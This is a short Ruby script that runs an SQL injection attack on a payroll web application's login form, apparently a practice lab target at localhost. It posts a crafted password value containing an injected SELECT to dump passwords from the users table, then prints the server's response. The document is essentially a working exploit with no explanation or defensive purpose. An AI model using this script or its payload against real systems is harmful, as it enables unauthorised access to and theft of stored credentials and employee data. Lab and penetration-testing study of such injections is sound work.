require 'net/http'

url  = "http://127.0.0.1/payroll_app.php"
uri  = URI(url)
user = 'luke_skywalker'
injection = "password'; select password from users where username='' OR ''='"

puts "Making POST request to #{uri} with the following parameters:"
puts "'user' = #{user}"
puts "'password' = #{injection}"
res = Net::HTTP.post_form(uri, 'user' => user, 'password' => injection, 's' => 'OK')

puts "Response body is #{res.body}"
puts "Done"